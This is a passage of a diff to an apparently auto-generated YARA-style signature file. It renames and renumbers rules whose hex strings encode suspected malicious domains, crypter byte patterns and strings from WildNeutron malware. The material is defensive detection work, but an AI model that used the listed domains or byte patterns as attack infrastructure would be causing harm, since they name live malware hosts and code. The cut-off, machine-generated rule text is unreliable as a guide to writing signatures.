2e 69 6f 64 00 0f 81 01 66 77 33 39 36 62 61 63 6b 36 2e 73 69 74 65 64 00 0d 81 01 6b 61 66 69 6e } //25902 + $a_2e_5 = {79 6f 75 64 00 0f 81 01 66 6e 62 61 63 6b 39 36 33 36 2e 73 69 74 65 64 00 0f 81 01 62 77 33 36 62 61 63 6b 39 33 2e 73 69 74 65 64 00 14 81 01 62 79 74 65 63 72 61 66 74 2e 67 6c 65 65 7a 65 2e 63 6f 6d 64 00 16 81 01 64 6f 77 6e 6c 6f 61 64 69 6e 76 6f 69 63 65 2e 6f 6e 6c 69 6e 65 64 00 } //29295 + $a_79_6 = {72 } //-32496 r + $a_2e_7 = {61 70 74 6f 2e 6f 72 67 64 00 0d 81 01 6b 72 61 6b 65 6e 7a 69 6e 2e 78 79 7a 64 00 0f 81 01 6c 6f 6b 69 73 74 6f 72 61 67 65 2e 78 79 7a 64 00 0d 81 } //25970 + $a_67_8 = {75 36 35 6b 6a 2e 63 66 64 64 00 13 81 01 77 69 73 65 2e 73 63 72 65 65 6e 6e 65 63 74 2e 63 6f 6d 64 00 0b 81 01 73 74 61 6e 73 75 70 2e 63 6f 6d 64 00 0c 81 01 6a 73 70 63 61 72 65 2e 68 65 6c 70 64 00 11 81 01 61 64 72 73 78 70 6a 6d 30 72 67 61 30 6e 2e 64 65 64 00 13 81 01 76 69 6c 6c 61 61 6e 61 63 72 6f } //29441 + $a_61_9 = {63 6f 6d 64 00 0e 81 01 73 75 70 32 2e 37 30 37 30 31 2e 6f 72 67 64 00 1e 81 01 73 65 63 75 72 65 64 6f 63 75 6d 65 6e 74 66 69 6c 65 64 6f 77 6e 6c 6f 61 64 2e 63 6f 6d 64 00 10 81 01 65 78 70 6f 70 69 6f 6e 65 72 6f 73 2e 63 6f 6d 64 00 11 81 01 6b 61 73 69 6e 32 32 2e 7a 61 70 74 6f 2e 6f 72 67 64 00 0c 81 01 } //29793 + $a_63_10 = {72 65 2e 68 65 6c 70 64 00 13 81 01 6e 6f 6c 65 67 67 69 6f 64 69 73 63 69 7a 61 2e 63 6f 6d 64 00 12 81 01 61 63 63 6f 75 6e 74 2e 65 6e 64 62 61 63 6b 2e 63 6f 64 00 10 81 01 73 63 72 65 65 6e 73 61 76 65 65 72 2e 63 6f 6d 64 00 11 81 01 70 6f 79 74 74 77 71 2e 7a 61 70 74 6f 2e 6f 72 67 64 00 0d 81 01 32 34 37 69 6e 66 6f 2e 63 6c 69 63 6b 64 } //29558 + $a_01_11 = {73 73 67 68 6f 73 74 69 65 72 63 6f 6e 6e 65 63 74 2e 63 6f 6d 64 00 0b 81 01 73 61 6c 74 75 74 61 2e 63 6f 6d 64 00 13 81 01 63 6c 6f 75 64 73 63 6f 6e 74 72 6f 6c 6c 65 72 2e 65 73 64 00 08 81 01 73 63 34 30 30 2e 72 75 64 00 0e 81 01 73 75 70 32 2e 73 62 6b 37 37 31 2e 72 75 64 00 0e 81 01 7a 69 61 64 70 61 6e 65 65 6c 2e 63 6f 6d 64 00 0f 81 01 70 6f 6c 61 62 61 72 69 73 68 2e 63 } //5376 + $a_64_12 = {11 81 01 70 6f 70 77 65 65 32 2e 7a 61 70 74 6f 2e 6f 72 67 64 00 0e 81 01 2e 61 70 75 72 61 6d 61 72 74 2e 63 6f 6d 64 00 0c 81 01 2e 73 61 6c 74 75 74 61 2e 63 6f 6d 64 00 18 81 01 72 65 6c 61 79 2e 73 68 69 70 70 65 72 7a 6f 6e 65 2e 6f 6e 6c 69 6e 65 64 00 0f 81 01 72 65 6c 61 79 2e 61 6c 65 33 72 74 2e 69 6e 00 00 78 09 05 00 01 00 01 00 2b 00 } //28537 + $a_53_13 = {52 3a 43 72 75 6d 43 72 79 70 74 65 72 48 73 74 72 6c 6f 67 69 63 00 01 00 09 05 b9 c0 06 00 00 57 f3 26 a4 01 00 09 05 8b f8 b9 0c 06 00 00 f3 a4 01 00 0d 07 8b f8 b9 0c 06 00 00 90 90 f3 a4 90 00 01 00 12 07 f3 a4 } //8993 + $a_09_14 = {07 00 8b f8 b9 90 01 02 00 00 90 00 01 00 12 07 ac aa e2 fc 90 09 07 00 8b f8 b9 90 01 02 00 00 90 00 01 00 0e 07 04 00 00 f3 a4 90 09 04 00 8b f8 b9 90 00 01 00 0e 07 05 00 00 f3 a4 90 09 04 00 8b f8 b9 90 00 01 00 0e 07 06 00 00 f3 a4 90 09 04 00 8b f8 b9 90 00 01 00 0e 07 07 00 00 f3 a4 90 09 04 00 8b f8 b9 90 00 01 00 0e 07 08 00 00 f3 a4 90 09 04 00 8b f8 b9 90 00 01 00 18 07 8b d8 8a 01 88 03 41 43 4a 75 f7 90 09 0a 00 ba } //-12033 + $a_00_15 = {00 b9 } //400 + $a_00_16 = {0d } //144 + $a_8a_17 = {88 0f 43 83 c7 01 4e 75 f5 01 00 0b 05 8a 16 88 10 40 46 83 eb 01 75 f5 01 00 09 05 b9 c4 06 00 00 57 f3 26 a4 01 00 1a 07 7c ed 6a 40 90 09 11 00 81 90 17 03 01 01 01 04 2c 34 85 90 01 08 40 3d 90 00 01 00 10 07 8b 3c 24 be 90 01 04 f3 a5 90 09 05 00 b9 90 00 01 00 12 07 01 00 00 8b f8 be 90 01 04 f3 a5 90 09 02 00 b9 90 00 01 00 18 07 8b 3c 24 be 90 02 15 b9 90 01 02 00 00 90 03 03 02 66 f3 a5 f3 a5 90 00 01 00 1e 07 01 00 00 7c 90 09 03 00 81 90 01 02 01 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1e 07 02 00 00 7c 90 09 03 00 81 90 01 02 02 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1e 07 03 00 00 7c 90 09 03 00 81 90 01 02 03 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1e 07 01 00 00 72 90 } //-29947 + $a_00_19 = {00 } //513 + $a_17_20 = {01 02 02 8b 3e 8b ff 34 90 00 01 00 1e 07 02 00 00 72 90 09 03 00 81 90 01 02 02 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1e 07 03 00 00 72 90 09 03 00 81 90 01 02 03 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1f 07 01 00 00 0f 8c 90 09 03 00 81 90 01 02 01 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1f 07 02 00 00 0f 8c 90 09 03 00 81 90 01 02 02 00 00 90 13 90 17 03 01 02 02 8b 3e 8b } //5008 + $a_00_21 = {01 00 1f 07 03 00 00 0f 8c 90 09 03 00 81 90 01 02 03 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1f 07 01 00 00 0f 82 90 09 03 00 81 90 01 02 01 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1f 07 02 00 00 0f 82 90 09 03 00 81 90 01 02 02 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1f 07 03 00 00 0f 82 90 09 03 00 81 90 01 02 03 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1e 07 } //13567 + $a_00_24 = {00 } //257 + $a_17_25 = {01 02 02 8b 3e 8b ff 34 90 00 01 00 1e 07 02 00 00 7c 90 09 02 00 3d 90 01 01 02 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1e 07 03 00 00 7c 90 09 02 00 3d 90 01 01 03 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1e 07 01 00 00 72 90 09 02 00 3d 90 01 01 01 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1e 07 02 00 00 72 90 09 02 00 3d 90 01 01 02 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 } //5008 + $a_00_26 = {1e } //144 + $a_02_28 = {00 3d 90 01 01 03 00 00 90 } //-28558 + $a_03_29 = {01 02 02 8b 3e 8b ff 34 90 00 01 00 1f 07 01 00 00 0f 8c 90 09 02 00 } //-28653 + $a_01_30 = {01 } //-28611 + $a_13_31 = {17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1f 07 02 00 00 0f 8c 90 09 02 00 3d 90 01 01 02 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1f 07 03 00 00 0f 8c 90 09 02 00 3d 90 01 01 03 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1f 07 01 00 00 0f 82 90 09 02 00 3d 90 01 01 01 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 1f 07 02 00 00 0f 82 90 09 02 00 3d 90 01 01 02 00 00 90 13 90 17 03 01 02 } //0 + $a_8b_32 = {34 90 00 01 00 1f 07 03 00 00 0f 82 90 09 02 00 3d 90 01 01 03 00 00 90 13 90 17 03 01 02 02 8b 3e 8b ff 34 90 00 01 00 47 07 8b 45 04 48 66 33 c0 81 38 4d 5a 90 90 00 75 f4 90 09 3b 00 } //-29950 + $a_83_33 = {90 01 01 c7 45 90 01 05 c7 45 90 01 05 c7 45 90 01 05 c7 45 90 01 05 c7 45 90 01 05 c7 45 90 01 05 c7 45 90 01 05 c6 45 90 01 01 00 90 00 00 00 78 0b 05 00 11 00 11 00 11 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 57 69 6c 64 4e 65 75 74 72 6f 6e 5f 6a 61 76 61 63 70 6c 00 01 00 36 03 6a 00 61 00 76 00 61 00 63 00 70 00 6c 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 58 03 52 75 6e 46 69 6c 65 3a 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 53 68 65 6c 6c 45 78 65 63 75 74 65 45 78 41 2f 57 20 69 6e 20 53 48 45 4c 4c 33 32 2e 44 4c 4c 21 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 } //-29867 + $a_09_34 = {61 } //6544 a + $a_2d_35 = {30 2d 39 90 00 01 00 62 03 45 00 72 00 72 00 6f 00 72 00 20 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6e 00 67 00 20 00 43 00 72 00 65 00 61 00 74 00 65 00 50 00 72 00 6f 00 63 00 65 00 73 00 } //31277 + $a_00_36 = {29 00 21 00 21 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 } //115 + $a_74_37 = {70 3a 2f 2f 77 77 77 2e 6a 61 76 61 2e 63 6f 6d 2f 65 6e 2f 64 6f 77 6e 6c 6f 61 64 2f 69 6e 73 74 61 6c 6c 65 64 2e 6a 73 70 3f 64 65 74 65 63 74 3d 6a 72 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 43 03 52 75 6e 46 69 6c 65 3a 20 63 6f 75 6c 64 6e } //856 + $a_6c_38 = {61 64 20 53 48 45 4c 4c 33 32 2e 44 4c 4c 21 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 } //29735 + $a_09_39 = {61 } //6544 a + $a_2d_40 = {30 2d 39 90 00 01 00 5e 03 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 69 00 73 00 20 00 6e 00 6f 00 74 00 20 00 72 00 75 00 6e 00 6e 00 69 00 6e 00 67 00 20 00 61 00 6e 00 79 00 20 00 6d 00 } //31277 + $a_00_41 = {65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 54 03 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 25 00 6c 00 75 00 2e 00 25 00 6c 00 75 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 } //111 + $a_61_42 = {7a 90 00 01 00 5c 03 55 00 73 00 61 00 67 00 65 00 3a 00 20 00 64 00 65 00 73 00 74 00 69 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 20 00 5b 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 5d 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d } //11585 + $a_5a_43 = {2d 7a 90 00 01 00 37 03 49 6e 76 61 6c 69 64 20 69 6e 70 75 74 20 68 61 6e 64 6c 65 21 21 21 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 } //16697 + $a_2d_45 = {41 2d 5a 30 2d 39 90 00 01 00 46 03 2e 00 63 00 6f 00 6d 00 3b 00 2e 00 65 00 78 00 65 00 3b 00 2e 00 62 00 61 00 74 00 3b 00 2e 00 63 00 6d 00 64 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2c 03 29 20 2d 25 73 2d 3e 20 25 73 20 } //2305 + $a_01_46 = {09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 } //-28632 + $a_00_47 = {01 00 3a 03 63 00 6d 00 64 00 65 00 78 00 74 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 40 03 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 70 00 69 00 64 00 20 00 28 00 25 00 73 00 29 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 34 03 22 00 25 00 73 00 22 00 20 00 } //14637 + $a_00_48 = {20 00 25 00 73 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 4a 03 45 00 72 00 72 00 6f 00 72 00 20 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00 20 00 25 00 73 00 20 } //47 + $a_00_50 = {90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 34 03 63 00 6d 00 64 } //115 + $a_00_52 = {69 00 6e 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 26 03 32 30 30 38 52 32 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 16 05 00 01 00 01 00 23 00 21 23 41 4c 46 3a 59 32 56 3a 73 69 67 6e 61 74 } //100 + $a_5f_53 = {61 73 65 2f 50 72 69 6b 6f 72 6d 6b 61 4d 6f 64 75 6c 65 00 01 00 10 01 6d 70 2e 64 6c 6c 00 53 74 61 72 74 69 6e 67 00 01 00 11 01 68 6c 70 75 63 74 66 2e 64 6c 6c 00 43 79 63 6c 65 01 00 17 03 6b 6c 2e 64 6c 6c 00 53 74 61 72 74 69 6e 67 00 90 0a 11 00 00 90 00 01 00 12 01 69 6f 6d 75 73 2e 64 6c 6c } //29301 + $a_61_54 = {74 69 6e 67 01 00 15 01 61 74 69 6d 6c 2e 64 6c 6c 00 4b 69 63 6b 49 6e 50 6f 69 6e 74 01 00 17 01 73 6e 6d 2e 64 6c 6c 00 47 65 74 52 65 61 64 79 46 6f 72 44 65 61 64 01 00 19 01 73 63 72 73 68 2e 64 6c 6c 00 47 65 74 52 65 61 64 79 46 6f 72 44 65 61 64 01 00 0a 01 50 52 55 5c 17 51 58 17 5e 4a 01 00 0e 01 60 4a 55 55 4e 53 58 4b 17 52 57 17 5e } //21248 + $a_5d_56 = {5b 4a 5d 17 51 58 17 5e 4a 01 00 0c 01 60 4a 55 55 4e 61 17 51 58 17 5e 4a 01 00 11 01 39 5d 17 1d 1c 0a 3c 57 59 3b 1c 1e 57 58 4c 54 0f 01 00 0f 81 01 5a 78 57 69 6e 44 65 66 66 43 6f 6e 74 65 78 01 00 26 01 50 00 61 00 72 00 61 00 6d 00 6f 00 } //21761 + $a_00_57 = {37 00 35 00 36 00 43 00 6f 00 6e 00 74 00 65 00 78 00 34 00 33 00 01 00 28 01 5a 00 77 00 5f 00 26 00 6f 00 6e 00 65 00 40 00 6c 00 64 00 72 00 43 00 6f 00 6e 00 74 00 65 00 78 00 74 00 34 00 33 00 01 00 10 01 41 39 35 42 4c 37 36 35 4d 4e 47 32 47 50 52 53 01 00 36 03 68 00 65 00 6c 00 70 00 6c 00 64 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_64_1 & 1)*25712+(#a_70_2 & 1)*29441+(#a_72_3 & 1)*11887+(#a_64_4 & 1)*25902+(#a_2e_5 & 1)*29295+(#a_79_6 & 1)*-32496+(#a_2e_7 & 1)*25970+(#a_67_8 & 1)*29441+(#a_61_9 & 1)*29793+(#a_63_10 & 1)*29558+(#a_01_11 & 1)*5376+(#a_64_12 & 1)*28537+(#a_53_13 & 1)*8993+(#a_09_14 & 1)*-12033+(#a_00_15 & 1)*400+(#a_00_16 & 1)*144+(#a_8a_17 & 1)*-29947+(#a_00_19 & 1)*513+(#a_17_20 & 1)*5008+(#a_00_21 & 1)*13567+(#a_00_24 & 1)*257+(#a_17_25 & 1)*5008+(#a_00_26 & 1)*144+(#a_02_28 & 1)*-28558+(#a_03_29 & 1)*-28653+(#a_01_30 & 1)*-28611+(#a_13_31 & 1)*0+(#a_8b_32 & 1)*-29950+(#a_83_33 & 1)*-29867+(#a_09_34 & 1)*6544+(#a_2d_35 & 1)*31277+(#a_00_36 & 1)*115+(#a_74_37 & 1)*856+(#a_6c_38 & 1)*29735+(#a_09_39 & 1)*6544+(#a_2d_40 & 1)*31277+(#a_00_41 & 1)*111+(#a_61_42 & 1)*11585+(#a_5a_43 & 1)*16697+(#a_2d_45 & 1)*2305+(#a_01_46 & 1)*-28632+(#a_00_47 & 1)*14637+(#a_00_48 & 1)*47+(#a_00_50 & 1)*115+(#a_00_52 & 1)*100+(#a_5f_53 & 1)*29301+(#a_61_54 & 1)*21248+(#a_5d_56 & 1)*21761+(#a_00_57 & 1)*114) >=120 + +} +rule _InfrastructureShared_21733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 2b 00 21 " @@ -263153,7 +278556,7 @@ rule _InfrastructureShared_20510{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_0b_2 & 1)*-1909+(#a_01_3 & 1)*7680+(#a_02_4 & 1)*-28543+(#a_13_5 & 1)*0+(#a_00_6 & 1)*13567+(#a_82_7 & 1)*0+(#a_8b_8 & 1)*513+(#a_02_10 & 1)*7936+(#a_01_11 & 1)*-32512+(#a_02_12 & 1)*791+(#a_ff_13 & 1)*16011+(#a_07_14 & 1)*1+(#a_07_15 & 1)*1+(#a_07_16 & 1)*1+(#a_07_17 & 1)*1+(#a_07_18 & 1)*1+(#a_07_19 & 1)*1+(#a_0b_20 & 1)*0+(#a_6f_21 & 1)*8250+(#a_00_23 & 1)*105+(#a_65_24 & 1)*27745+(#a_2d_25 & 1)*31277+(#a_00_26 & 1)*111+(#a_61_27 & 1)*11585+(#a_5a_28 & 1)*16697+(#a_2d_30 & 1)*2305+(#a_01_31 & 1)*-28632+(#a_00_32 & 1)*14637+(#a_00_33 & 1)*47+(#a_00_35 & 1)*115+(#a_00_37 & 1)*100+(#a_5f_38 & 1)*29301+(#a_61_39 & 1)*21248+(#a_5d_41 & 1)*21761+(#a_00_42 & 1)*114) >=1 } -rule _InfrastructureShared_20511{ +rule _InfrastructureShared_21734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -263179,7 +278582,7 @@ rule _InfrastructureShared_20511{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_2d_2 & 1)*2305+(#a_57_3 & 1)*16760+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1) >=17 } -rule _InfrastructureShared_20512{ +rule _InfrastructureShared_21735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 23 00 21 " @@ -263223,7 +278626,7 @@ rule _InfrastructureShared_20512{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_81_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_19_34 & 1)*0) >=1 } -rule _InfrastructureShared_20513{ +rule _InfrastructureShared_21736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 1c 00 21 " @@ -263260,7 +278663,7 @@ rule _InfrastructureShared_20513{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1) >=15 } -rule _InfrastructureShared_20514{ +rule _InfrastructureShared_21737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0d 00 21 " @@ -263277,7 +278680,7 @@ rule _InfrastructureShared_20514{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_02_3 & 1)*-28550+(#a_2d_4 & 1)*23085+(#a_00_6 & 1)*111+(#a_00_8 & 1)*114+(#a_00_10 & 1)*104+(#a_2c_11 & 1)*91) >=3 } -rule _InfrastructureShared_20515{ +rule _InfrastructureShared_21738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 31 00 21 " @@ -263335,7 +278738,7 @@ rule _InfrastructureShared_20515{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_03_29 & 1)*1+(#a_03_30 & 1)*1+(#a_03_31 & 1)*1+(#a_03_32 & 1)*1+(#a_03_33 & 1)*1+(#a_03_34 & 1)*1+(#a_03_35 & 1)*1+(#a_03_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1+(#a_03_40 & 1)*1+(#a_03_41 & 1)*1+(#a_03_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_03_45 & 1)*1+(#a_03_46 & 1)*1+(#a_03_47 & 1)*1+(#a_03_48 & 1)*1) >=2 } -rule _InfrastructureShared_20516{ +rule _InfrastructureShared_21739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0e 00 21 " @@ -263353,7 +278756,7 @@ rule _InfrastructureShared_20516{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*95+(#a_00_3 & 1)*69+(#a_2c_4 & 1)*99+(#a_00_6 & 1)*80+(#a_7a_7 & 1)*24922+(#a_00_9 & 1)*87+(#a_00_11 & 1)*111+(#a_00_13 & 1)*32) >=4 } -rule _InfrastructureShared_20517{ +rule _InfrastructureShared_21740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -263367,7 +278770,7 @@ rule _InfrastructureShared_20517{ ((#a_46_0 & 1)*21283+(#a_8b_1 & 1)*22529+(#a_89_2 & 1)*13060+(#a_90_3 & 1)*257+(#a_90_4 & 1)*-29951) >=5 } -rule _InfrastructureShared_20518{ +rule _InfrastructureShared_21741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 4b 00 21 " @@ -263445,7 +278848,7 @@ rule _InfrastructureShared_20518{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*1+(#a_65_2 & 1)*265+(#a_20_3 & 1)*25956+(#a_01_4 & 1)*28277+(#a_20_5 & 1)*25960+(#a_64_6 & 1)*29953+(#a_75_7 & 1)*28012+(#a_72_8 & 1)*28192+(#a_75_9 & 1)*8293+(#a_74_10 & 1)*27449+(#a_01_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_01_16 & 1)*1+(#a_25_17 & 1)*0+(#a_00_18 & 1)*80+(#a_00_19 & 1)*32+(#a_00_20 & 1)*32+(#a_7a_21 & 1)*24922+(#a_00_23 & 1)*114+(#a_00_25 & 1)*101+(#a_00_26 & 1)*110+(#a_00_28 & 1)*111+(#a_7a_29 & 1)*24922+(#a_00_31 & 1)*111+(#a_00_32 & 1)*32+(#a_72_33 & 1)*24430+(#a_00_34 & 1)*104+(#a_6c_35 & 1)*25711+(#a_6f_36 & 1)*28788+(#a_74_37 & 1)*25973+(#a_00_38 & 1)*29811+(#a_48_39 & 1)*385+(#a_74_41 & 1)*17153+(#a_74_43 & 1)*17153+(#a_48_44 & 1)*385+(#a_74_45 & 1)*29811+(#a_74_46 & 1)*25973+(#a_65_47 & 1)*24933+(#a_64_48 & 1)*21876+(#a_74_49 & 1)*17153+(#a_4f_50 & 1)*14949+(#a_6f_51 & 1)*29557+(#a_30_52 & 1)*24441+(#a_30_53 & 1)*300+(#a_03_54 & 1)*1+(#a_03_55 & 1)*1+(#a_03_56 & 1)*1+(#a_03_57 & 1)*1+(#a_03_58 & 1)*1+(#a_03_59 & 1)*1+(#a_03_60 & 1)*1+(#a_03_61 & 1)*1+(#a_03_62 & 1)*1+(#a_03_63 & 1)*1+(#a_03_64 & 1)*1+(#a_03_65 & 1)*1+(#a_03_66 & 1)*1+(#a_03_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_03_70 & 1)*1+(#a_03_71 & 1)*1+(#a_03_72 & 1)*1+(#a_03_73 & 1)*1+(#a_35_74 & 1)*0) >=1 } -rule _InfrastructureShared_20519{ +rule _InfrastructureShared_21742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0b 00 21 " @@ -263465,7 +278868,7 @@ rule _InfrastructureShared_20519{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_00_2 & 1)*67+(#a_00_3 & 1)*114+(#a_2d_4 & 1)*2305+(#a_00_5 & 1)*101+(#a_00_6 & 1)*97+(#a_09_7 & 1)*31277+(#a_00_8 & 1)*2448+(#a_2d_9 & 1)*2305+(#a_00_10 & 1)*32) >=5 } -rule _InfrastructureShared_20520{ +rule _InfrastructureShared_21743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff97 00 ffffff97 00 23 